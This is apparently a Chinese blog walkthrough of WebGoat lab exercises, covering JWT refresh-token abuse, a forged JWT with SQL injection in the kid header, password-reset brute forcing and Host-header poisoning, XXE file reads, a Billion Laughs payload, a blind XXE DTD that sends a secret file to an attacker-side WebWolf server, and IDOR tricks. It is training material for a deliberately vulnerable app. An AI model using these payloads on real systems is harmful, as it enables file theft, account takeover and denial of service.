在新式单页应用程序 (SPA) 中使用刷新令牌是否有意义?正如我们在本节中看到的 关于存储令牌,有两个选项:Web 存储或 cookie,这意味着刷新令牌就在 访问令牌,因此,如果访问令牌泄露,刷新令牌也可能被泄露。大多数时候 当然是有区别的。访问令牌在进行 API 调用时发送,刷新令牌仅发送 何时应获取新的访问令牌,在大多数情况下,该令牌是不同的终结点。如果你最终得到同样的 服务器,您可以选择仅使用访问令牌。

如上所述,使用访问令牌和单独的刷新令牌为服务器提供了一些不检查的杠杆作用 一遍又一遍地访问令牌。仅当用户需要新的访问令牌时才执行检查。 当然,可以只使用访问令牌。在服务器上,您存储的信息与存储的信息完全相同 存储 有关刷新令牌,请参阅上一段。这样,您每次都需要检查令牌,但这可能会 根据应用而适用。如果存储刷新令牌用于验证,则保护这些令牌也很重要(至少 使用哈希函数将它们存储在数据库中)。

10.

就如同 session 会有存活时长一样,JWT 的 access_token 也是有相类似的机制。session 失活后,系统会要求用户再次身份验证,通过则重新颁发 session;JWT 则可使用 refresh token 去刷新 access token 而无需再次身份验证。
登陆获取 access token, refresh token

WebGoat 中提到:

应在服务器端存储足够的信息,以验证用户是否仍然受信任。您可以考虑的事情有很多,比如存储 IP 地址,跟踪使用 refresh token 的次数(在 access token 的有效时间窗口中多次使用刷新令牌可能表示奇怪的行为,您可以撤销所有 token,让用户再次进行身份验证)。还要跟踪哪个 access token 属于哪个 refresh token,否则攻击者可能会使用攻击者的 refresh token 为其他用户获取新的 access token,请参阅https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation,还可以检查用户的IP地址或地理位置。如果需要发出一个新的令牌,请检查位置是否仍然相同,如果不同,则撤销所有令牌,并让用户再次进行身份验证。

这段话中关键信息是,服务器中可能存在:未校验 access token 和 refresh token 是否属于同一个用户,导致 A 用户可使用自己的 refresh token 去刷新 B 用户的 access token。
WebGoat 对于使用 JWT 的建议:

使用 jwt 令牌的最佳位置是服务器之间的通信。在普通的 web 应用程序中,最好使用普通的旧 cookies。

根据题意,攻击者要利用 Tom 过期的刷新 token 来获取访问 token,用 Tom 的账户购物

点击 here 可以看到 log

里面有 token

解码后可以知道是 tom 的

然后点击购买抓包

把 token 放在 Authorization: 后面

发送到 repeater 模块可以知道这个 token 是过期的

授权标头的一部分发送,这通常是使用 Bearer 令牌标准进行的,其中 token 以"Bearer "前缀开头,后跟实际的 token 值。

我们修改时间

  1. exp(Expiration Time):表示令牌的过期时间。它是一个时间戳,表示令牌在何时过期。该时间戳是使用纪元(Epoch)时间表示的,通常是以秒为单位的整数。
  2. iat(Issued At):表示令牌的签发时间。它也是一个时间戳,表示令牌是在何时被签发的。同样,该时间戳也是使用纪元时间表示的。

换算规则比如是 Unix 时间戳->北京时间

即 1526217811->2018-05-13 21:23:31

我就是尽量大些就行了,发送即可

11.

这题我看 writeup 需要看源码。。。能找出 sql 漏洞

webgoat _v8.1 全流程通关 - 让-雅克-卢梭 - 博客园 (cnblogs.com)

点击删除,抓包,获取 token

更新数据,看源码利用了 kid 存在 sql 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"alg" : "HS256",
"kid" : "';select 'MQ==' from jwt_key --",
"typ" : "JWT"
}
{
"Email" : "[email protected]",
"Role" : [ "Cat" ],
"aud" : "webgoat.org",
"exp" : 5618905304,
"iat" : 5524210904,
"iss" : "WebGoat Token Builder",
"sub" : "[email protected]",
"username" : "Tom"
}
secert_key=1

更换 token 就行了

3.Password reset(密码重置)

2.

Let’s first do a simple assignment to make sure you are able to read e-mails with WebWolf, first start WebWolf (see here) In the reset page below send an e-mail to (part behind the @ is not important) Open WebWolf and read the e-mail and login with your username and the password provided in the [email protected]

大概的意思就是叫你点击忘记密码用于重置密码,然后会发送一封 mail 给 WebWolf,在 WebWolf 就可以看到你的新密码了,再回到登录页面重新输入账号和新密码就行了

4.

Security questions

This has been an issue and still is for a lot of websites, when you lost your password the website will ask you for a security question which you answered during the sign up process. Most of the time this list contains a fixed number of question and which sometimes even have a limited set of answers. In order to use this functionality a user should be able to select a question by itself and type in the answer as well. This way users will not share the question which makes it more difficult for an attacker.

One important thing to remember the answers to these security question(s) should be treated with the same level of security which is applied for storing a password in a database. If the database leaks an attacker should not be able to perform password reset based on the answer of the security question.

Users share so much information on social media these days it becomes difficult to use security questions for password resets, a good resource for security questions is: http://goodsecurityquestions.com/
Assignment

Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on this ‘Forgot Password’ page. Your username is ‘webgoat’ and your favorite color is ‘red’. The goal is to retrieve the password of another user. Users you could try are: “tom”, “admin” and “larry”.

安全问题
这一直是一个问题,对于许多网站来说仍然是一个问题,当您丢失密码时,网站会询问您 对于您在注册过程中回答的安全问题。大多数情况下,此列表包含一个固定的 问题的数量,有时甚至有一组有限的答案。为了使用此功能 用户应该能够自行选择问题并输入答案。这样用户就不会共享 这个问题使攻击者更加困难。

要记住的一件重要事情是,这些安全问题的答案应该以相同级别的 用于在数据库中存储密码的安全性。如果数据库泄漏,攻击者应该无法 根据安全问题的答案执行密码重置。

如今,用户在社交媒体上分享如此多的信息,因此很难将安全问题用于密码 重置,安全问题的一个很好的资源是: http://goodsecurityquestions.com/

分配
如果用户可以正确回答密码问题,则可以检索其密码。没有锁定机制 这个“忘记密码”页面。您的用户名是“webgoat”,您最喜欢的颜色是“红色”。目标是检索 其他用户的密码。您可以尝试的用户是:“tom”、“admin”和“larry”。

这题就是要在一直用户名的情况下搜寻“最喜欢的颜色”

所以我们直接 burp 抓包,加入 Intruder 模块进行爆破

还是和上面一样集束炸弹(第四个),对 tom 和最喜欢的颜色打上标记

在 payload set 1 添加上 tom admin 和 larry

set 2 加入颜色字典

可以在这里下载 👉https://gist.github.com/mordka/c65affdefccb7264efff77b836b5e717

开始爆破后(可能需要多次才能获取答案),通过状态码(200)和 length 的不同寻找答案

因为答案最多三个,然后我们找最不同的就行了

最终找到 admin:green,tom:purple,larry:yellow

5.

好像是叫选几个不容易被推断出答案的身份验证把。。。

这个自己选>2 个就行了

6.

先用自己的账号发送重置密码的链接

会收到一封信,信里有重置密码的链接,样式为

1
http://localhost:8081/WebGoat/PasswordReset/reset/reset-password/2ad9c8c3-0cdc-4927-950f-ab348005dc4a

后面应该是用户 id,然后主要是因为重置链接不变且永久有效导致的问题,我们只需要把后面的 id 换成 tom 的字符串就行了

但是如何获取 Tom 呢

我们可以向 tom 邮箱发送重置链接的信,虽然这样可以生成 tom 的字符串,但是我们不能登录 tom 的邮箱

所以我们可以在向 tom 邮箱发送重置链接的信抓包,然后修改 host:localhost:8080 为 9090,这样的话是请求经过 WebWolf

在数据包中,host 表示接收这个请求的目的地的 host,仅包括域名和端口号。例如,test.pay.com:8090。它是一个用于指定被请求资源的 Internet 主机和端口号的数据包头字段。

然后去 webWolf 的 incoming request 模块可以看到请求(最新消息在最下面)

发现 tom 的字符串,替换重置密码链接后面的 id 就行了

4.Secure Passwords(密码安全)

大部分都在讲如何构建一个安全的密码

4.

这个挺有意思的,可以知道你的密码强度(顺带一提测试博主的密码在不到 2 个月的时间就被爆破了。。。)

换了个强度高的密码需要 100 多年才能爆破(嘻嘻 😏)


5.Sensitive Data Exposure(敏感数据暴露)

1.Insecure Login(不安全登录)

不安全的登录

2.

其实就是模拟我们是中间人

被攻击人在登录时,我们截获数据包,可以看到用户名和密码明文传输

相当于就是不安全的登录


6.XML External Entities(XXE)(XML 外部实体)

本 节 课 讲 授 了 如何 执行 XML 外部 实体 攻击 , 以及如何 滥用 和 防范 它。

0 基本概念

【安全攻防】深入浅出实战系列专题-XXE 攻击-云社区-华为云 (huaweicloud.com)

WEB 安全——XML 注入 - 灰羽· - 博客园 (cnblogs.com)

(渗透学习)XXE 漏洞原理 & 挖掘 & 利用 & 防御_xxe 漏洞挖掘-CSDN 博客

XXE 漏洞基础及简单利用_xxe 漏洞的利用方法-CSDN 博客

(这个写的很详细)从 XML 相关一步一步到 XXE 漏洞 - 先知社区 (aliyun.com)

下面是我做的一些总结(不缺时间还是多看看别的大佬写的吧,本蒟蒻只能总结一些大佬的话 😭)

0.XML 基础

XML 指可扩展标记语言(Extensible Markup Language),是一种与 HTML 类似的纯文本的标记语言,设计宗旨是为了传输数据,而非显示数据。是 W3C 的推荐标准。

xml 和 html 结构类似,不同的是:

  1. XML 被设计用来传输和存储数据。
  2. HTML 被设计用来显示数据。

XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素(在下面 DTD 给的实例代码中强调了)

1.XML 标签

XML 被设计为具有自我描述性,XML 标签是没有被预定义的,需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的 xml 文档。

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA
1.每个构建模块的简要描述
1. 元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。实例:

1
2
<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。

2. 属性

属性可提供有关元素的额外信息 实例:

1
<img src="computer.gif" />
3. 实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。

4. PCDATA

PCDATA 的意思是被解析的字符数据。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&<,或者>字符,需要用& < >实体来分别替换。

5. CDATA

CDATA 意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

2.XML 语法规则
  • XML 文档必须有一个根元素

  • 区分大小写

    在标记中必须注意区分大小写,在 XML 中,<TEST><test>是两个截然不同的标记

  • 要有正确的结束标记,即必须要有一个闭合标签

    结束标记除了要和开始编辑在拼写和大小上完全相同,还必须在前面加上一个斜杠“/”

    若开始标记<test>,结束标记则为</test>。XML 严格要求标记配对,HTML 中的<br><hr>的元素形式在 XML 中是不合法的。当一对标记之间没有任何文本内容时,可以不写结束标记,在开始标记的末尾加上斜杠”/”来确认,例如:<test /> 这样的标记被称为“空标记”。

  • 标记要正确嵌套

    在一个 XML 元素中允许包含其他 XML 元素,但这些元素之间必须满足嵌套性

  • 有效使用属性,属性值必须加引号

    标记中可以包含任意多个属性。在标记中,属性以名称/取值对出现,属性名不能重复,名称与取值之间用等号“=”分隔,且取值用引号引起来。

    举个例子:<衣服 品牌=“耐克” 类型=“T 恤” >

  • XML 中空格会被保留

  • 实体引用

1
2
3
4
5
6
<note> <!-- 标题(根元素) -->
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

2.DTD

指文档类型定义(Document Type Definition),通过定义根节点、元素(ELEMENT)、属性(ATTLIST)、实体(ENTITY)等约束了 xml 文档的内容按照指定的格式承载数据。

简单来说就是 DTD 可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。(所以说是可选~~)

① 内部的 DOCTYPE 声明:

格式为:<!DOCTYPE 根元素 [元素声明]>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#PCDATA 是 XML 约束文档中的一个概念,用于表示元素的内容是可解析的字符数据。在 XML 中,#PCDATA 用于表示元素中包含的文本内容,它不能包含任何子元素。与 CDATA 不同,#PCDATA 可以包含字符串、子元素和字符串与子元素的组合。在 XML 约束文档中,如 DTD(Document Type Definition)类型约束文档,#PCDATA 用于指定元素的内容或属性的取值范围等。

② 外部引用:

格式为:<!DOCTYPE 根元素 SYSTEM ” 文件名 ”>

如下 xml 代码引用了外部 DTD,文件为“note.dtd”

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

3.实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

简单来说:在 DTD 中通过<!ENTITY 实体名称 "实体的值">等方式定义实体,相当于定义变量的作用,可在文档内容中通过&实体名称;的方式引用实体的值(变量的值)。

说一个很实际的例子

XML 元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML 用实体引用(entity reference)替换特殊字符。XML 预定义五个实体引用,即用< > & ' " 替换 < > & ' "
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。

注意别搞混<!ENTITY<!ELEMENT

<!ENTITY 用于定义实体引用,而 <!ELEMENT 用于定义元素的结构和内容。实体引用通常用于引用外部资源,而元素定义则用于指定元素的结构和内容规则。

然后这是 webgoat 的解释:

一旦 XML 文档被解析器处理,它将用定义的常量“Jo Smith”替换定义的实体

Java 应用程序中,XML 可用于将数据从客户端获取到服务器,我们都熟悉 JSON API,我们也可以使用 XML 来获取信息。大多数情况下,框架会根据 xml 结构自动填充 Java 对象,例如

实体类型:实体分为多种类型,从使用范围的维度,分为参数实体(只能在 DTD 中引用)与非参数实体(可以在 DTD 中、文档内容中引用)。区别如下:

样例 引用方式 使用范围与场景
非参数实体 <!ENTITY country "中国"> &country; 在 DTD 中、文档内容中均可引用,一般用来取代重复的字符串
参数实体 <!ENTITY % countrydefine "xxx元素的DTD定义内容"> %country; 仅能在 DTD 定义中引用,一般用来保存某段重复的 DTD 定义

从值的来源维度,分为内部实体、外部实体。内部实体为文档内部直接定义值,外部实体为通过 http、file 等协议从文件外的某处获取内容作为实体的值。区别如下:

样例 特征与使用场景
内部实体 <!ENTITY country "中国"> 值是明确的字符串常量等,可以直接定义在本文档中
外部实体 <!ENTITY country SYSTEM "file:///D:/country.txt"> 值来源于其它文件或者网络

4.XML 外部实体注入

XML External Entity Injection 即 xml 外部实体注入漏洞,简称 XXE 漏洞。当 xml 解析器支持对于外部实体的解析且待解析的 xml 文件可由外部控制时,就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定 url 等方式实现自己的攻击目的,达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。

1-3

建议看完上面的基本概念,再看一遍 webgoat 的,可以有更多理解

引用一位博主的话

下面是 XXE 注入的粗略理解(确实粗略易懂)

XML 声明,一般没啥,约束而已,都会写上

版本编码 文档类型定义(DTD)

重点在这!可以引用内部外部的实体

如:<!ENTITY % name SYSTEM “file:///etc/passwd">%name;引用了不就调用了,是不是有点类似文件包含?这个实际上就是把“file:///etc/passwd”赋值给 name,那如果file:///etc/passwd用户可控呢?改成 http 协议呢?没听懂,再解释一遍吧

XML 外部实体 ‘name’ 被赋予的值为:file://etc/passwd。在解析 XML 文档的过程中,实体’ name’的值会被替换为 URI(file://etc/passwd)内容值(也就是 passwd 文件的内容)。 关键字’SYSTEM’会告诉 XML 解析器,’ name’实体的值将从其后的 URI 中读取,并把读取的内容替换 name 出现的地方。假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/zzyy.txt)]> <元素名称 category=“属性”>文本或其他元素</元素名称>

总结一下:XXE 注入,即 XML External Entity,XML 外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

ENTITY 实体,在一个甚至多个 XML 文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个 ENTITY,然后在这些文档中需要该数据的地方调用它。

原文链接:https://blog.csdn.net/zy15667076526/article/details/109560492

4.

在此作业中,您将为照片添加注释,在提交表单时尝试执行 XXE 使用注释字段进行注入。尝试列出文件系统的根目录。

先抓包看看

你可以看发送的数据包携带的数据是 xml,说明用户可控

1
<?xml version="1.0"?><comment><text>666</text></comment>

添加 payload

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY flag SYSTEM 'file:///C:/'>
<!-- file:// 表示这是一个文件协议的URL,/C:/ 表示C盘的根目录。-->
]>
<comment><text>
&flag;
</text></comment>

就可以看到 flag 了,并且评论区也有返回的数据

5-6

5 是指导你攻击的,6 是代码审计角度发现 XXE

XXE prevention sheet

7

在现代 REST 框架中,服务器可能能够接受您作为开发人员没有想到的数据格式。因此,这可能会导致 JSON 端点容易受到 XXE 攻击。

同样是相同的练习,但尝试执行与第一次赋值相同的 XML 注入。

这里我们同样是发送评论抓包

发现Content-Type:application/json,即 json 模式的

但是根据提示没有只接收 json 文件,这里直接换成application/xml就行了

把下面的数据部分换成

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY flag SYSTEM 'file:///C:/'>
]>
<comment><text>
&flag;
</text></comment>

8.

对第 7 题的解释

9.

这个挺有意思的,利用 XXE 进行 DOS 攻击

案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当 XML 解析器加载此文档时,它会看到它包含一个根元素“lolz”,其中包含文本“&lol9;”。但是,“&lol9;”是一个已定义的实体,它扩展为包含十个“&lol8;”字符串的字符串。每个“&lol8;”字符串都是一个定义的实体,可扩展为十个“&lol7;”字符串,依此类推。在处理完所有实体扩展后,这个小的 (< 1 KB) XML 块实际上将占用近 3 GB 的内存。

这被称为"Billion laughs"

维基百科(需要梯子)

10.

展示了如何通过 Blind XXE 攻击 ping 服务器

11 就是实操

11.

根据题意,盗取 目标服务器上的

C:\Users\nonevector/.webgoat-8.2.2//XXE/secret.txt

提示我们可以尝试使用 WebWolf 的 landing 页面上传此文件:http://localhost:9090/landing

WebGoat 是当前论坛服务器,里面有我们的目标文件 secret.txt
WebWolf 是入侵者的服务器,托管了一个 attack.dtd 攻击文件

流程:
入侵者进入被害者的论坛,发送信息同时用 Burp 拦截请求,修改自己的评论内容使其远程链接到入侵者的 WebWolf 网站的 attack.dtd 文件,attack.dtd 文件读取了被害者服务器中的文件信息,被害者服务器将该私密信息返回到论坛中并显示在网页上。

创建 attack.dtd 文件

注意需要获取的文件换成你的

file 用于获取目标服务器上的文件

print 用于发送到 webwolf,这个请求会被拦截

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:\Users\nonevector/.webgoat-8.2.2//XXE/secret.txt">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
<!-- &#37; 是一个字符实体引用,代表百分号(%)。确保了百分号不会被误解为XML标记的一部分。 -->

然后随便发送评论 burp 抓包,在结尾加上 payload ,注意下面的 url 中的 username 换成你的,attack.dtd 文件名也不能出错

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://localhost:9090/files/username/attack.dtd">
%dtd;
%print;
%send;
]>
<comment> <text>cute</text></comment>

去 webwolf 看收到的数据(url 后面的 text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"timestamp" : "2024-01-05T09:03:11.930091100Z",
"principal" : null,
"session" : null,
"request" : {
"method" : "GET",
"uri" : "http://localhost:9090/landing?text=WebGoat%208.0%20rocks...%20(AgzOeuyeHm)",
"headers" : {
"Accept" : [ "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2" ],
"Connection" : [ "keep-alive" ],
"User-Agent" : [ "Java/17.0.9" ],
"Host" : [ "localhost:9090" ]
},
"remoteAddress" : null
},
"response" : {
"status" : 200,
"headers" : { }
},
"timeTaken" : 11
}

最后解密出来时

1
WebGoat 8.0 rocks... (AgzOeuyeHm)

把这个发送到评论就行了

简述一下过程:发送修改的数据—>%dtd;访问攻击者服务器上的 dtd 文件—>调用 print 声明 send,调用 send,send 会再调用 file,file 用于获取目标服务器上的文件,send 发送给攻击者服务器,攻击者服务器获取数据后解析

疑问:

1.这里为什么需要嵌套

1
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

答:我试过后看了返回的数据

1
2
"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[5,7]\\nMessage: Server returned HTTP response code: 400 for URL: http:\\/\\/localhost:9090\\/landing?text=%file;]"
# 400 Bad Request 是由于明显的客户端错误(例如,格式错误的请求语法,太大的大小,无效的请求消息或欺骗性路由请求),服务器不能或不会处理该请求。

嵌套应该是为了防止实体用于表示一些无法直接表示的字符或结构(个人猜测)

2.为什么 print 后还需要 send,print 不是会调用 send 吗

1
2
3
%dtd;
%print;
%send;

答:没有调用,仅仅时声明了实体,而 send 会直接调用 file

12-13

讲了 xxe 和缓解措施和用过静态代码分析查找 xxe 问题


7.Broken Access Control(访问控制中断)

1.Insecure Direct Object References(不安全的直接引用对象)

1.

直接对象引用
直接对象引用是指应用程序使用客户端提供的输入来访问数据和对象。

例子
使用 GET 方法的直接对象引用示例可能如下所示

1
2
3
4
5
https://some.company.tld/dor?id=12345

https://some.company.tld/images?img=12345

https://some.company.tld/dor/12345

其他方法
POST、PUT、DELETE 或其他方法也可能容易受到影响,主要仅在方法和潜在有效载荷上有所不同。

不安全的直接对象引用
当引用未得到正确处理时,这些被认为是不安全的,并允许授权绕过或披露可用于 执行用户不应能够执行或访问的操作或访问数据。 假设作为用户,您去查看您的个人资料,URL 如下所示:

https://some.company.tld/app/user/23398

…您可以在那里查看您的个人资料。如果导航到以下位置,会发生什么情况:

https://some.company.tld/app/user/23399…或在末尾使用另一个数字。如果您可以操作数字(用户 ID)并查看他人的配置文件,则对象引用是不安全的。 当然,这可以检查或扩展到 GET 方法之外,以查看数据,也可以操作数据。

更多好读物
在我们继续练习之前,这里有一些关于不安全的直接对象引用的好读物:

https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)

https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html

https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

http://cwe.mitre.org/data/definitions/639.html

2.

先进行身份验证,后滥用授权
许多访问控制问题容易受到经过身份验证但未经授权的用户的攻击。因此,让我们从合法身份验证开始。然后,我们将寻找绕过或滥用授权的方法。

在这种情况下,帐户的 ID 和密码是“tom”和“cat”(这是一个不安全的应用程序,对吧?

身份验证后,进入下一个屏幕。

这题就是合法的身份验证,用 tom 和 cat 登录就行

3.

根据题意,查看请求中的非显示内容的属性

A consistent principle from the offensive side of AppSec is to view differences from the raw response to what is visible

“AppSec” 是 “Application Security” 的缩写,指的是应用程序安全。

在应用程序安全中,攻击者通常会利用应用程序的漏洞来获取未授权的访问或执行恶意操作。为了实现这一目标,攻击者需要了解应用程序的内部工作原理和潜在的弱点。

从攻击面的角度来看,一个重要的原则是密切关注应用程序的原始响应与用户可见内容之间的差异。这涉及到对应用程序的深入分析,包括请求和响应的结构、数据传输方式以及应用程序的逻辑流程。

就是你点击 profile 只有三个数据,但是响应的不止三个,用 burp 抓包就行,看返回的数据

可以知道多了role,userId(记得用都好隔开)

4.

题目要求我们以另一种方式查看您自己的个人资料

这一题用的是 RESTful 模式

RESTful 是一种用于设计、构建和交付 Web 服务的架构风格。它基于 HTTP 协议,并使用不同的 HTTP 方法(如 GET、POST、PUT、DELETE 等)来执行不同的操作。

RESTful Web 服务具有以下特点:

  1. 客户端-服务器架构:客户端和服务器之间通过 HTTP 协议进行通信。客户端负责发送请求和接收响应,而服务器负责处理请求和返回响应。
  2. 资源标识:RESTful Web 服务使用统一资源标识符(URI)来标识资源。例如,对于一个用户,可以将其标识为/users/123
  3. 资源状态:每个资源都有一个与之关联的状态,该状态可以通过 HTTP 请求来修改。HTTP 方法(如 GET、POST、PUT、DELETE 等)定义了如何通过 URI 标识的资源来修改状态。
  4. 无状态通信:RESTful Web 服务遵循无状态通信原则,这意味着服务器不会为每个请求存储任何状态信息。这有助于提高服务的可伸缩性和可靠性。
  5. 缓存:RESTful Web 服务支持缓存,以便提高性能和减少网络延迟。客户端和中间件可以使用 HTTP 缓存头来缓存响应,并在后续请求中重用它们。
  6. 统一接口:RESTful Web 服务使用统一的接口来访问资源。这意味着客户端可以使用相同的 HTTP 方法(如 GET、POST、PUT、DELETE 等)来访问不同的资源。

总之,RESTful Web 服务提供了一种简单、一致和可扩展的方式来构建 Web 应用程序和服务之间的通信。它已经成为现代 Web 开发中的主流技术之一。

看下提示:看看前面的配置文件请求,这是类似的

上一题看到了get /WebGoat/IDOR/profile

返回的数据

1
2
3
4
5
6
7
{
"role" : 3,
"color" : "yellow",
"size" : "small",
"name" : "Tom Cat",
"userId" : "2342384"
}

说明请求路径大概是这样的

再看下提示说:将您的 ID 附加到上一个请求(即 …/profile/{yourId})

我们填入/WebGoat/IDOR/profile/2342384就能访问自己的数据了

5.

这题我需要吐槽一下自己自找聪明用两个浏览器,一会用 edge 答题,一会用火狐,导致在做第五题的时候不管我怎么修改请求包返回的都是错误 500😭,花了我一下午找问题,最后没办法直接重开,只用火狐才做出来的

题目主要的意思是第一个按钮是用来展现信息的,但是发送的请求包是%7BuserId%7D,即{userId}

说明提示我们用 id 去找,这里我们可以用 2342384 看一下 tom 的信息

返回

1
again. You need to use the same method\\/URL you used to access your own profile via direct object reference

看提示是要我们一个个推断 userId,这里可以用 burp 爆破,也可以直接一个一个加

反之最后就是 2342388

返回的 json

1
2
3
4
5
6
7
{
"lessonCompleted": true,
"feedback": "Well done, you found someone else's profile",
"output": "{role=3, color=brown, size=large, name=Buffalo Bill, userId=2342388}",
"assignment": "IDORViewOtherProfile",
"attemptWasMade": true
}

这里 WebGoat8.2.2 出了 BUG,查找到 Buffalo 后这题直接完成了。

然后需要我们修改 color 为 red,和修改 role 变小点

点击第二个按钮是用来修改信息的,点击后抓包

由题所知,这个请求遵循 RESTful 规则。

RESTful:GET 查询、POST 新增、PUT 修改、DELETE 删除

(1)请求方法从 GET 改为 PUT

(2)Content-type 改成 application/json(因为需要传输修改的数据,修改的数据类型是 json)

(3)请求内容中构造 json 格式的 Buffalo Bill 的 profile,根据题目要求,role 要设置为比 3 小的数,color 要设置为 red。

{
“role”:“1”,
“color”:“red”,
“size”:“large”,
“name”:“Buffalo Bill”,
“userId”:“2342388”
}

发送就行了

6.

讲了如何安全对象引用

2.Missing Function Level Access Control(缺少功能级访问控制)

2.

人们可以依靠 HTML、CSS 或 javascript 来隐藏用户通常不会访问的链接。 过去曾有过网络路由器试图在 UI 中使用 javascript 保护(隐藏)管理功能的情况:https://www.wired.com/2009/10/routers-still-vulnerable。

查找隐藏物品
通常有一些提示可以查找 UI 未公开的功能…

  • HTML 或 javascript 注释

  • 注释掉的元素

  • 通过 CSS 控件/类隐藏的项目

您的使命
在下面的菜单中找到攻击者/恶意用户感兴趣的两个不可见菜单项,并提交这些菜单项的标签(菜单中目前没有链接)。

就是 f12 慢慢找呗。。。

找到了两个不可用的链接

1
2
<a href="/users">Users</a>
<a href="/config">Config</a>

把 Users 和 Config 填入就行了

3.

这题是要是收集用户信息

利用上一题得到的 user 和 config

上一页中找到了链接/users,但是直接点击的话,是 404 not found

前面得加上/WebGoat/即

1
localhost:8080/WebGoat/users

但是会返回 500 错误

下面有两个做法(当然是提示里面说的。。。)

1.简单做法

抓包后加上

